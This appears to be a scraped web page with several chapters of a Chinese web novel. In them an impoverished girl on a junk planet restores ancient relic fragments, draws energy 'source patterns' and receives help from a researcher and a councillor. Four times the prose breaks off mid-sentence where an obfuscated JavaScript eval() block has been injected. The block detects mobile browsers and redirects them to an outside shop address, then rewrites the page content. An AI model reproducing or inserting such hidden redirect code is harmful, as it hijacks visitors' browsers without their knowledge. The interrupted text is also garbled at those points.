荀玉猜测仲丘大概出身良好，不了解废星的水源，于是安慰道：“这可能是水垢？或者其他什么物质？不要紧张，说不定喝喝更健康。” 布鲁斯露出了羞愤又痛恨地表情，他缩回屋里不再探出头来。荀玉看布鲁斯回到屋里，又添了一句，“这是整个废星最好的水了，”很多时候布鲁斯自己都舍不得喝。 仲丘沉默不语，伸手将水杯里剩下的几滴水倒进嘴里。一直在喝水的晋砚清倒是接受良好，他脸上带着一如既往的笑容，温和又谦逊。 碍于时间问题，三人，准确来说是仲丘和荀玉的谈话草草结束。荀玉告诉他们垃圾场或许有他们想要的东西，不妨去看看。仲丘便和荀玉约好，明日中午在垃圾场碰面。 他们二人走后，布鲁斯从屋里磨磨蹭蹭走出来，一言不发收拾桌面上的杯子。他在夹缝中暴躁生存的生命力一下子沉寂下来，像外出拾捡垃圾的乞丐丢失了回桥洞底下的路，桥洞底下还有他准备过冬的破棉袄。 荀玉跟在他后面，“刚才谈话你也听见了，他们不像其他的上等人，没有要驱逐你的意思。” “我知道，”布鲁斯说，“但他们是上等人，每次见到他们都让我觉得我活得像卑微的蝼蚁，虽然事实如此。你能不能明白，我们生活在完全不同的两个世界，他们或许会屈尊来到被废弃的星球，但我们永远也去不了上面。他们也并不在乎蝼蚁的生活是怎样的，有时候只会觉得碍眼，或者想拿我们换所谓的成绩。” “波特瓦尔是这样，星际一区也是这样，大概整个联邦都如此吧。”布鲁斯没有权限了解政治新闻，只能接收大众娱乐头条和其他小道信息，从未见识过真正的星际世界长什么样子。他的七十多年都是在废星上度过的，区别在于从波特瓦尔偷渡到了星际一区，从一个泥沼陷入了另一个泥沼。 三个杯子空空如也，荀玉的目光掠过被布鲁斯带走的杯子，那个看起来全程都在喝水的青年其实只喝了一杯水。 她没再说话，只在废星生活了两个月的她并没有发言权。 那天荀玉回到下水道已经很晚了，光脑接连弹了三次关于未成年不按时作息种种弊端的警告。她躺在摇摇欲坠的床上不知在想些什么，有些睡不着。 外面的天漆黑如墨，下水道内的机械灯重新亮了起来。 白天的碎片被仲丘借走了，他急于送回去进行文物鉴定。荀玉没说的是，经她修复过的碎片其实还有好多块，仲丘看到的只是她第一次上手操作的碎片，简而言之是拿来练手的。原本的废料本就缺乏光泽，嵌在里面的那块文物碎片更是没有太多源力。 荀玉从剩余的碎片中挑了一块纹理比较特殊的碎片，在泛黄的图纸上画了起来。她的画图工具由烧了一半的树枝变成了星际最常用的普通写字笔，这是布鲁斯搜罗了相当久才从犄角旮旯里找出来的。 她按照仲丘关于释放源感力提到的三言两语，平稳呼吸，放空自己，再一次尝试寻找文物碎片外溢的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067695|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量建立链接。荀玉周身产生了奇特的变化，跳跃好动的源力一点一点出现在她的脑海里，它们变动的轨迹如流星一般留下稍纵即逝的尾巴。荀玉没有急着复刻源力的行迹，任由自己的意识跟随星星点点的源力旋转飞跃。 绿色的能量越飞越多，它们来回跳跃，空间渐渐变得拥挤，荀玉的意识被包围起来。慌乱中好动的源力不小心撞向荀玉，荀玉脑袋突然传来一阵刺痛，导致链接差点断掉。源力意识到闯了祸迅速抱成一团，在荀玉的不远处瑟瑟发抖。 荀玉：“……” 它们怎么和仲老说得不一样？ 抱成一团的源力互相推搡，其中反应慢半拍的源力被联合挤出来，承担了向荀玉道歉的重担。被同伴放弃的源力慢吞吞地飘向荀玉，忽明忽暗彰显着它此时的心虚。源力形状似点，不知从哪冒出一只触角，虚虚碰到到荀玉的意识后果断缩回身体里，过了一会再冒出触角试探荀玉，周而复始。 察觉荀玉并没有生气后，报团的源力恢复活力四散开来，继续围绕在荀玉周边来回跳跃。 “这是……在指路？” 荀玉琢磨着源力的意图，试探跟着源力移动。源力跳得更远了，后面的绿色能量催促着荀玉接着向前走。 无数的源力跟随着荀玉前往未知的空间，不知走了多久，前方的源力停了下来。它们一同忽闪，示意荀玉到了。 到……哪了？ 阻挡视线的源力悄然消失，无边无际的蔚蓝色映入眼帘，一道道闪耀的光线划过，深厚广阔的蔚蓝色掀起阵阵浪涛，像天幕又像海洋，那是灿若银河的意识流。 突然，一道明亮刺眼的光束打破了寂静，广袤的意识流翻涌起巨浪，昭示着似乎有什么东西即将到来。 荀玉脑中传来阵阵刺痛，强压之下她脸色煞白，额头冒出豆大的汗珠。她强忍不适，没有将源感力收回。 遥远的天际传来沉闷的叫声，沉重的步伐让无边的意识流剧烈晃动，那个庞然大物似是跑动起来，脚步声越来越近，震感愈发强烈。随着又一响彻天际的叫声，那个庞大的身影渐渐清晰起来。荀玉瞳孔微缩，那是一只巨大无比的水牛。 灰黑色的水牛体型硕大，角粗而弯曲，垂尾昂首，双眼目视前方，鼻腔喷出阵阵云雾，神情严肃又带着看向蜉蝣的蔑视。其上站着一只似要一跃扑向猎物的猛虎，脊背凸起，蓄势待发。云雾中飞出一只长尾凤鸟，两翼舒展卷起烈风，凤羽飞扬闪着彩色流光。白色浪花里扬起一只曲线流畅的鱼尾，狠狠拍向水面，波涛四起；浪潮起伏间可见鱼鳞平滑细腻，水珠从鱼鳞上滴落溶于汪洋，不见痕迹。 一时之间牛哼虎啸，凤鸣龙吟，浪花四溅，宛若一场盛大的神兽交流会。远处隐隐飘来浓郁的酒香，原始成熟的发酵技术让气味更为霸道。水牛餍足地甩了甩尾巴，在浓烈的酒水中安静下来，任由蔚蓝色的意识流铺天盖地，它站在原地岿然不动。 荀玉只觉一阵天旋地转，广袤的空间归于平静。一只通体翠绿、造型精美的酒器静静浮在半空中，凝重肃穆，透露着不符合这个时代的厚重感。 那是一只牛形铜觥，古文明遗留下来的青铜盛酒器。 荀玉已然到了极限，彻底昏了过去。 5. 十万积分 明亮的阳光透过缝隙照射到昏暗的下水道内，掉落在地上的光脑不停震动，发出刺耳的提示音。迷迷糊糊的荀玉摸了个空，只翻了半个身便从铁木两拼的床上掉了下去，身体和精神上共同传来的疼痛几乎要将荀玉淹没。 她像是还停留在那片浩瀚的意识流中，被突然涌起的浪潮呼了一巴掌，她果断回头想要拼死抵抗，壮阔的背景决绝的身影凄美的画面里闪过的是她因糊满鲜血而看不清五官的丑恶嘴脸。她在水里淹了太久，重见天日不由得狠狠呼吸，两个鼻孔突兀地冒出了浸了血的鼻涕泡。巨大的水牛像是寻到了稀奇玩意儿，它毫不犹豫地伸出未经修剪的牛蹄想要将鼻涕泡踩破。一片阴影从荀玉头上降下，她在水牛欢快的牛哼中和鼻涕泡一同碎裂。 “！” 荀玉惊坐而起，地上的光脑还在锲而不舍地响着，想要去拿光脑的双手停在半空中，她看着手上大片已经凝固的血迹不可置信。“啪”，倔强的身体从鼻子里滴下了最后一滴浓稠暗红的血。 她靠着变异巨鼠也啃不动的面包精心料理了两个月的身体一夜之间成了空架子！荀玉瘫在地上，天塌了！ 另一边久未等到荀玉的仲丘和晋砚清在垃圾场遭受了一场视线霸凌，住在垃圾场的贱民躲在垃圾山里虎视眈眈，恐惧又垂涎地将两个上等人从头到脚扫视了无数遍，想要在有人对他们发起攻击时趁虚而入。晋砚清陪着仲丘面不改色逛完了半个垃圾场，并没有找到荀玉口中所说的废料，无功而返。 仲丘回到中转站向布鲁斯要了荀玉的通讯账号，没想到竟然联系不上她。遇见上等人就迅速成长的布鲁斯心情低落地说她身体可能又进入了自我保护的休眠期，只不过之前没失联过这么长时间。事实上在他们来之前布鲁斯从没主动联系过荀玉，一切只不过是他依据现实合理瞎掰的。 看着仲丘明显严肃起来的面孔，布鲁斯的心情诡异地有了好转。兜转废星七十载，他似乎终于找到了打败上等人的方式。他从货架上偷偷留下一瓶D级营养液，心想那个小穷鬼还是有点用处的，好不容易实现自己的价值，千万不要饿死了。 “喂？”光脑里传来了令布鲁斯熟悉的声音，只不过那声音今天有些怪怪的。 “丫头，这么长时间没联系上你，你没事吧？你是不是又饿晕了？！”仲丘想起荀玉干瘪瘦弱的身体，不由得脑补她可能在任意一个地方晕倒的场面，登时激动起来。 “又？”终于反应过来是谁的荀玉一边用她只舍得撕掉一角的图纸塞着鼻子，一边缓慢地思考她什么时候在仲丘面前饿晕过。深感油尽灯枯的她沉重地叹了一口气，“仲老，你打通讯过来做什么？” “我们不是约在垃圾场见面吗？！你看看现在几点了！”仲丘的声音从光脑那端传来。 “？！” 荀玉如梦初醒，慌忙从地上爬起来，因为身体被掏空踉跄跌向旁边塌了一半的床，“仲老！你等我！”说罢她便挂断了通讯。 刚想说“我们有飞行器，你发个定位我们直接去找你”的仲丘看着被挂断的光脑陷入了沉默，他迷茫地问布鲁斯：“她什么事都这么亲力亲为吗？” 布鲁斯思考了半天，脑子里划过荀玉从捡垃圾到卖垃圾的努力身影，重重点了点头。 大抵是没见过贵族子弟和学院学生如此卖力生活的仲丘敬佩地看着布鲁斯，表示受教了。布鲁斯被络腮胡盖住的脸可耻地浮现出红色，他手里的动作不停，把明显完好的零部件扔进了垃圾桶里。 晋砚清难得有插一嘴的闲心，他顺着仲丘的想象力温声说道：“不论出身如何，现如今联邦社会像她这般的人不多了。” 仲丘无比认可地点头，布鲁斯手脚不停，本应琳琅满目的货架上腾出了更多空间。 冲刺在路上从不知飞行器为何物的荀玉被迫在三言两语间注定了以后“勤勉”的人生。 下午三点四十分，荀玉带着一身尚未清理干净的血迹在仲丘惊恐的目光中一只脚踏进中转站。 “你你你……”仲丘指着荀玉话都说不利索。 荀玉假装镇定，不甚在意地摆摆手，“没事，不就流点血吗，这没什么大不了的。” “不是！”年迈的仲丘很久没有如此大的情感起伏了，他焦急地说，“你还在流鼻血！” “……？”荀玉摸了摸自己的鼻子，惊觉那一角图纸已经被血浸透了，她眼前一黑，险些又要晕过去。 布鲁斯递过来一瓶营养液，“喏，给你留的。” 荀玉如二百旬老人被众人搀扶到椅子上，她摸到布鲁斯给她的是一瓶营养液，顿时心生感激，默默将他衣食父母的身份升级到了古文明掌管赏饭吃的神。 仲丘一个不留神那瓶营养液就只剩下了最后一口，荀玉本着不浪费粮食的原则正仰头撅嘴试图喝得干干净净，仲丘一把夺过，“这都被联邦淘汰多少年了你还当个宝。” 撅着嘴却喝到空气的荀玉：“？” 还没来得及谴责面前的人“何不食肉糜”，荀玉的怀里凭空多了一小箱营养液。 “联邦公民平常都喝A级营养液，我出门匆忙带的不多，你凑合用。”仲丘语气平淡，仿佛不知道自己给了在场的穷人多少震撼。 A级营养液，售价200积分一瓶，经过各路中介商辗转到废星一瓶能卖到500积分！ 荀玉两眼泪汪汪，她本以为她一直坚守在人民群众生活的奋斗一线，永远与他们共进退，不成想她甚至都没挤进过人民群众的团体。 心情刚刚恢复的布鲁斯又一次跌落谷底，他羡慕又痛恨地看向荀玉怀里的营养液，从仲丘手里抢回D级营养液的空瓶，甩给了仲丘一个厌恶的背影。 仲丘语气疑惑：“布鲁斯怎么了？” 荀玉抱紧了怀里的营养液，沉痛地说：“可能是他也突然醒悟这个世界并没有背叛他吧。” 毕竟这个世界压根没把他们放在眼里。 “对了，”荀玉解下背上的背包，因为这个背包过于简陋，布鲁斯下意识以为又是她要卖的垃圾所以故意略过，仲丘和晋砚清根本没认出来这是个背包。 她边解背包边说：“垃圾场并不是每天都有含着文物的废料或垃圾，我在垃圾场找上一天有时候也并不能找到一块，不过幸好偶尔还能碰碰运气。” 背包里装着大大小小各式各样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067696|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的废料，由于联邦现有的文物都是通过收集或购买渠道拥有的，所以很少有人见过文物被发现之前长什么样子。饶是仲丘见多识广，也很难相信这些奇怪的废料里能分离复原出古文物碎片，没有荀玉恐怕废料摆在他眼前也会错过。 荀玉还递给仲丘几块她自己修复过的碎片，说他可以一并带回去进行检测。 仲丘惊喜难耐，当即就要乘坐飞船返程。好在晋砚清也达到了此次出行的目的，两个人遂打算离开。 “丫头，你该到上学的年纪了吧。”临走前仲丘像是想起了什么，回过头问她。 “嗯，”荀玉在他期待的目光中，不确定地开口：“我报名了星际第一研究学院？” “对对对，这就对了！”仲丘脸上的褶子都笑开了花，怕她跑了又仔细叮嘱了一番，“你这样的人才就该来我们星一院！相信我，那些学院花里胡哨，和我们低调踏实的星一院没得比！我在学院等你，你可千万别改报名表啊！” 荀玉：“……” 仲老，你的样子很难让人相信你说话的真实性。 气派的飞船在轰轰烈烈地启动声中开走了，下一秒荀玉的光脑震动，显示她有一笔收款。 【星网支付提醒您，您领取了来自高级文物研究员【W082SAB41137】的转账，恭喜您获得了丰富的100000积分！】 【恭喜宿主，您的积分首次破万，生活质量显著提高，请再接再厉！】 “！”荀玉数了数后边的零，整整十万！她也是联邦公认的人民群众的一员了！ 带着文物研究员特殊标识的账号发过来一条长长的信息，【W082SAB41137】：“丫头，这点积分你先救急，等鉴定结果出来了我一并按市场价补给你。刚才小晋和我提了一嘴，你的血液看起来不太健康，最近不要再喝过期营养液了，回去我让人再给你寄点营养液和其他营养品。废星医疗条件不好，等你来A区让学院给你安排一次体检。还有，身体状况不好的情况下不要擅自释放源感力，容易对身体造成不可逆的伤害，切记切记。” 荀玉摸摸鼻尖，怎么办，她昨晚已经彻底释放过了。想起那只牛形铜觥，荀玉脑海里总是能浮现出一段特殊的纹路，那似乎就是觥的源纹。她心下惦记，想要找个安静的地方将它画出来。于是给布鲁斯转了一万积分，留下两瓶A级营养液，匆匆回去了。 …… 源纹是依据文物蕴含的源力而刻画在各种器物甚至生物身上的特殊纹路，只有研究员能熟练操控源感力与文物建立深刻的精神链接，经过大量练习才能达到绘出完整源纹的水平，并且通过文物研究员专用笔画出的源纹才能发挥真正的作用。 一无所知的荀玉摊开缺了一角的图纸，拿着她最新得到的普通写字笔画了起来。一旦试图绘画源纹，源感力就会不由自主被调动。鼻子涌来一股热流，荀玉不得不撕掉图纸的另一角塞进鼻子里。想起仲老的话，她为了以防万一嘴里还叼着一瓶A级营养液。浓郁的果香扑面而来，荀玉感慨了一番果然花钱的东西才是好东西，并对自己的防范措施信心满满。 万事俱备，准备开工！ 6. 觥的源纹 初来到这个世界时荀玉对一切都知之甚少，她在冥冥之中捡到废料，手闲忍不住动手修复文物时，又意外释放源感力同文物建立了精神链接，第一次见识到这个世界的源力，凭借模糊的直觉误打误撞画出了源纹的雏形。如果这些事情被联邦上等社会知晓，不知要引起多么广泛的关注和争议。 但此时的荀玉还是住在废星下水道内的贱民，她心疼地吹着还剩半截的图纸，祈愿这次不要失败了，这是她从垃圾场里捡出来的最后一张图纸了！ 经过仲丘的笼统讲解和昨晚经历的那股强大的意识流，荀玉对源力有了较为立体的认知，她甚至隐隐有另一种奇异的感觉。不过荀玉将这种感觉产生的原因归结为学习不够，更加坚定了去学院学习的念头。 落笔的一瞬间就能感受到一股强烈的阻塞感，荀玉早已有了心理准备，面不改色在图纸上缓缓推进。 带着猛虎从远古中走来的水牛，屹立在如瀑布般飞流直下的酒水间，清澈的凤鸣在充满酒香的云雾里变幻莫测。水牛不动如山，像是早已明白了最终的归宿。它在既定的命运里等待自己被铸成历史，然后守望千年的尘土与平凡。 浩荡的盛酒器沉睡在盛大的祀典中，从此多了一份凝重。兴盛的酒文化反哺人类的豪气与不羁，包容浪荡和狂妄，承担了诸多错事。它们从过去一同走到星际，证明了地下和人间，无一幸免。 觥，容五斗，“可以饮者也”。始终有争议的觥最终找不到记载自己的著录了，人类再也看不见它全貌。它随古文明一同消失，却给人类留下最后一条退路——源纹。 荀玉后背早已被浸湿，她塞进鼻子里的图纸又一次到了吸收血液的极限。暗红色的黏膜被图纸带了出来，这两天流血不断的她想起来仲老发给她的消息，她的身体可能还不健康！真要血断人亡了，荀玉有些绝望。 一段完完整整的源纹在图纸上熠熠生辉，荀玉在绘画过程中能感知到这段源纹恢复体力、提神醒脑、平心静气等诸多作用，其中最为核心的就是一种恢复本源的净化力量，尽管这种能量不够庞大，但是存在感极为强烈。这就是溯源之力的来源吗？可是…… 荀玉转笔的手一停，心想联邦研究文物二百多年总比她要强，所有答案的不对劲皆来源于学渣的自我认同心理，果然她还是懂得不够多。人必须要学习！她斗志满满，消解了心里的疑惑。 【亲爱的宿主，现在时间为凌晨一点十八分，由于您尚未成年，请尽快休息。】 【检测到未成年宿主源感力透支，光脑智能提醒您请尽快休息以静养身体。】 【亲爱的宿主，现即将播报《十六岁未成年因通宵数月被迫更换机械心脏》。据悉，机械未来研发公司为回报新老顾客而推出的机械心脏仅要一亿八千万积分……】 “！” 这才是真正的噩耗。 荀玉赶紧关掉光脑，随手将早上塌了的床搭好躺了上去。 今夜的梦里没有喜欢踩鼻涕泡的水牛。 …… 荀玉依旧是在吵闹刺耳的声中醒来，不过这次发出声音的不是光脑，而是昨天消失的变异巨鼠。 本就小得可怜的桌子承受不住剧烈的撞击而崩塌，变异巨鼠硕大的身体露在外面屁股震得一抖一抖，只有脑袋能埋在废铜烂铁中“吱吱”啃着什么东西。 想起来桌子上摆着什么东西的荀玉心里闪过不好的念头，她下床疾步走到巨鼠面前扒开它头顶上的铁块。正啃得高兴的变异巨鼠突然感觉到世界亮了，它茫然抬头，嘴角边还剩下一角皱巴巴的图纸。 她的源纹！ 巨鼠好歹也和荀玉朝夕相处了两个月，对这个无能的人类有着清晰的认知。它瞪着幽绿色的眼睛，极为坦然地将最后一口图纸吞入腹中。 荀玉：“……” 呵，只会欺负弱小的死耗子。 她愤恨地将铁块重新盖在变异巨鼠的脑袋上，默默祈祷最好噎死它算了。 变异巨鼠吃完明显有些亢奋，荀玉看了颇为惊奇。源纹被完成的那一刻她能清晰感知到源纹是成功的，但不知为何它却无法实现源力运转，简而言之就是毫无用处。可是看变异巨鼠的样子，她又有些不确定。 没听说过变异巨鼠还有发情期啊，难道它是为了逃脱她的怒火刻意扮傻？荀玉打量了一眼巨鼠的构造，巨大的肉球上长了个肿瘤，不像是有脑子的样子。 荀玉作为心智成熟的未成年人，早早担负起了照顾自己的重任。去除给了布鲁斯的一万积分，她还有九万积分在手，相当于一只脚跨入了超越阶层的门槛，更不能因此懈怠，因此她再次拖着铁板小拖车去往了垃圾场。 人不能忘记自己从哪里来。 再次踏上这条熟悉的路，荀玉的心情意外平和，难怪那些领导这么乐意四处视察，这和土皇帝巡视自己的江山有什么区别。她长舒了一口气，小富一笔之后意外地发现废星也没有那么糟糕。 有了A级营养液，荀玉头晕目眩、四肢乏力还嗜睡的情况有了明显好转。虽然她的身体一如既往的废柴，但好歹不影响日常的社会劳动了。 她去垃圾场的时间整整缩短了二十分钟！荀玉喜极而泣，挑垃圾的速度都快了不少。 垃圾场温度、湿度都高于废星正常水平，每隔几天都有专门装运垃圾的飞船倾倒垃圾，里面过期的食物、营养液数不胜数。附近的贱民身形佝偻，颧骨高耸，每每都有人在哄抢中因缺氧或其他原因而晕倒甚至猝死。 荀玉站在角落沉默不语，以前没有饭吃的时候她也从不去抢。一是抢不过，二是没必要。如果她尚存体力或许能从垃圾山中翻出什么布料盖在他们身上，但很多时候她都自顾不暇。 她没再捡剩下的食物，只挑了没人要的机械材料和其他杂七杂八的玩意儿绑在小拖车上带了回去。 早上变异巨鼠的插曲早就被荀玉抛在脑后，正在路上的荀玉丝毫不知，下水道内正有一群变异巨鼠等她归来。 …… 踏进下水道的一瞬间，十几双幽绿色的眼睛在黑暗中齐齐看向荀玉。荀玉惊悚地退出下水道重新进了一次，那些眼睛依旧死死盯着她。 “？” 她的家就这么沦陷了？ 托它们的福，荀玉不用摸黑开灯了。每一步路她都走得无比坚定，因为光源正随着她的移动而移动。 机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067697|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 械灯“啪”得一声开了。 荀玉面无表情盯着她最熟悉的那只变异巨鼠，它站在正中间眼神有些飘忽。 呵，死耗子。 一群变异巨鼠将她的住所堵得水泄不通，她不得不坐在床边像被逼宫的地方官。大权旁落，下水道的统治危在旦夕。 “你们……谁能给我解释解释什么情况？” 荀玉索性盘腿坐在床上，语气平淡，大有风雨欲来之势。 老鼠们像是收到了什么讯号，同一时间尖锐的“吱吱”声此起彼伏。中间那只巨鼠抖了抖脑袋，向旁边移了两步，自以为隐蔽地藏在它们后面。 “你，”荀玉不客气地指向罪魁祸首，“你来说。” 罪魁祸首用爪子捂了捂眼睛，像是下定了什么决心，心一横，也开始“吱吱吱吱”起来。 “……” 刚才在气头上，忘了物种相隔，听不懂它们说话。 荀玉更生气了。 变异巨鼠突然停了下来，它感受了一股强烈的杀气，“吱？” 最终在变异巨鼠锲而不舍的肢体解释下，荀玉艰难地明白了它们堵在这里的用意。 “你的意思是让我给你们每个人，不是，每只鼠都画一段源纹？”荀玉不可置信地指着自己的鼻子，不明白这些臭老鼠怎能如此不要脸。 “你们知道画一段源纹多么费力吗？”光是昨晚，荀玉不仅又血洒当场，还喝上了三瓶营养液。三瓶！仲老给她的箱子里一共才十二瓶！ “吱吱吱。” 不要脸的老鼠们将它们在荀玉回来之前藏得营养液推出来，表示它们没有要动它的意思。 荀玉生生被气笑了。 她还差点失去了剩下的九瓶营养液，折合成废星的物价就是整整4500积分！ “滚！” 一只只堪比小山的巨鼠被荀玉赶了出去。 求人办事要有求人办事的态度，荀玉冷酷地将下水道出口堵起来，真是不懂做鼠的道理。 下水道重新回复安静后，荀玉才有空真正思考问题。 变异巨鼠这番举动明显带有自己的目的，它们就差直接说人话告诉她被吃掉的源纹是有用的，但她能肯定图纸上的源纹并没有真正在运转。荀玉还特别观察了吃掉源纹的那只巨鼠，并没有发现它有什么奇怪的地方。 她眉头越皱越紧，打开光脑编辑了一条信息。 【W217S##00000】：“仲老，如果生物体吃掉没有被激发的源纹，会因此产生相应的变化吗？” 她等了一会儿，见仲老没有回消息，便做自己的事情去了。 接下来的一段时间荀玉都在忙于观察那只变异巨鼠的变化。 起初那只巨鼠并没有显示出任何特别之处，被荀玉赶出下水道后每天都会来替其它巨鼠们求情，试图让荀玉心软。 荀玉像是实验室里丧失伦理道德的研究员，对巨鼠的请求视而不见。她甚至利用了一些“合理”的方式把这只巨鼠留在了下水道里，每隔几个小时就记录一下它的变化。 然而，就在荀玉饲养的它的前几天里，荀玉崩溃地发现，这只变异巨鼠居然胖了。 7. 快递 荀玉一贫如洗，当然没有体重秤。为了排除肉眼和心理上对这只巨鼠的偏视，荀玉谨慎地拿着绳子绕着它量了又量。 相关证据表明，变异巨鼠一号于实验第四天腰围增长三厘米。已排除其它相关因素，它纯属是胖的。 于是，荀玉在当天断掉了它的面包渣。 被滋养了三天的巨鼠想不到人类竟能如此残忍，它幽怨地“吱吱”声在下水道里飘了一整天，荀玉对此不理不睬，巨鼠一号鼠生无望。 转变发生在第十五天。 荀玉醒来第一眼就发现了这只变异巨鼠的不同。 它小了整整一圈，不再试图用身体撞击什么东西，而是安静待在荀玉给它围起得角落里。尽管它依旧壮硕如小山，除了体型外表也没有明显变化，可给人的感觉却全然不同。 如果让荀玉形容，她会说这只巨鼠变得正常了。 是的，变得正常了。荀玉没见过未来星际的巨鼠在变异前是什么样子，如果让别人来看这个结论未免太过荒谬。荀玉没自信到自己的观点一定是正确的，但她相信自己的直觉。 她将这十几天的记录与巨鼠前后对比的照片发给仲丘，在其中标明了自己的猜测，询问他以前是否有过这样的案例。 这只巨鼠在发现自己产生变化后对荀玉更加殷勤，荀玉本不想理会，奈何隔天就上演了一场众鼠堵门的大戏，简直鼠音绕梁，不绝于耳。她不得不联系布鲁斯，让他帮忙找一些图纸，并表示自己很急。 【W158P*#766513】：“？” 【W217S##00000】：“我的家马上就沦陷了。要快！” 【W158P*#766513】：“……” 图纸寄到废星还要几天。等荀玉到中转站取图纸时，布鲁斯告诉她她还有另一个星际快递。 荀玉接过快递，上面写着：寄件地址——星际第一行政区A级区划行政中心办公楼，寄件人——誓死效忠晋议员的快快乐乐秘书小姐；收件地址：星际第一行政区134号废星中转站，收件人：废星小穷鬼？（啊抱歉，是晋议员这么说的，和我没关系。） “……” 快递是一个不大不小的箱子，里面装着一只新型光脑，两排高级营养液和其它一些营养品。 光脑下方放着一张纸条：小穷鬼（划掉）小朋友，因为没有你的详细通讯地址，所以快递暂时绑定了你的身份编码，不过不用担心，从行政中心发出的快递不会出现泄密事件（虽然这种行为对于联邦信息透明制度来说有些鸡肋）。光脑绑定身份编码就可以用了哦，这可是找晋议员报销的！提前祝你开学快乐。——誓死效忠晋议员的快快乐乐秘书小姐。 晋议员？ 荀玉想起仲老似乎就喊那个青年“小晋”。 她颇为头疼地打开了和仲老的通讯，慢吞吞地编辑消息。 【W217S##00000】：“仲老，晋议员的快递我收到了，如果你们见面的话记得替我向他说声谢谢，有机会我会报答他的。鞠躬JPG。” 布鲁斯奇怪地瞥了她一眼，疑惑她看到快递怎么还不如拿到图纸的时候开心。 荀玉不欲多作解释，抱着能挡住她半个身体的箱子离开了。 回到下水道内，荀玉仔细研究了一番来自行政中心的快递。 小小的机械体通体冰凉，外壳上刻着的图案偶尔闪过银白色光芒。绑定荀玉的身份码后光脑便被彻底激活，屏幕上弹出来一个对话框，上面显示着光脑主人的各种权限。上网，购物，全息模拟通话等功能应有尽有，比荀玉手上的只能查看娱乐新闻的光脑好上太多。 尽管荀玉想要坚持在权贵面前宁死不屈的气概，但她从未宣之于口。独居废星近三月尚未来得及有第二个人解她内心的想法，于是荀玉含泪收下已经认主的光脑。 背叛组织是为了组织更好地发展，她不是屈服于权贵，而是让步于世俗。 箱子中的营养液似乎是特制的，“医食两用营养液”、“……使用对象为未成年人”、“特别治疗于营养不良人群……”、“……普遍净化能量”等字眼非常具有针对性。 荀玉：“……” 看得出寄快递的人花了一番功夫，荀玉默默将这位快快乐乐秘书小姐划入了好人名单，把人情记在了她头上。 另一边，快快乐乐秘书小姐刚陪着她的晋议员开完会，她落后于晋砚清一步，以至于晋砚清不得不侧身和她说话。 晋砚清今日穿了一身天蓝色传统刺绣的议员制服，其实这一身放在一众蓝色制服里并不扎眼，但无奈岑笙笙每天和晋砚清形影不离，她能清楚地看见晋砚清一丝不苟的衣着下白皙的肌肤和若隐若现的青色血管。 此刻他鼻梁上还架着一副银丝框眼镜，这种古老的没有任何附加能力的眼镜很少会有人戴了。 晋议员正回过头温柔地看着她交代着什么，凸起的喉结因他的滔滔不绝而上下滚动。青龙戏珠，口吐莲花，好好亲的样子……岑笙笙又快乐了。 “各个地区的实地考察一定要跟上，要紧的考察人员先派出去，后面再补调令，可操作空间由你把握。你回去根据今天的会议内容整理出一份文档先发给我，有其他变动到时再通知你……岑秘书长？岑秘书？” “啊？嗯，明白！保证光荣完成任务！”岑笙笙回过神来，忙不迭地开始复述晋砚清说的内容，以此表明自己绝对有在认真工作。 晋砚清：“……” 岑笙笙记忆能力与生俱来，联邦众多经过专门训练的精神系异能者最多与她平分秋色，在纯粹的记忆力领域强过她的人少之又少。她能在短时间内将联邦庞大的资料库在脑中整合为特有的存储体系，记忆时长达半年之久。最重要的一点是她不会精神崩溃。 她像是天生就适合秘书工作。 晋砚清淡淡地嗯了声，表示自己相信她。岑笙笙心思简单，能力出众，在工作上与他磨合地相当不错。当然，如果不是每时每刻都有种被谁透过衣服扫视肉身的感觉就更好了。 他面无表情地转过身，向前方走去。 岑笙笙：“？” 晋议员怎么又不高兴了？ …… 荀玉废寝忘食地画着源纹，在她一次又一次血崩的代价下，变异巨鼠一号和它的家人们成功“瘦身”一圈，并有继续变小的趋势。 仲老和秘书小姐寄给她的营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067698|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 养液很快都见了底。荀玉瘫在床上，每日必查自己的积分余额。 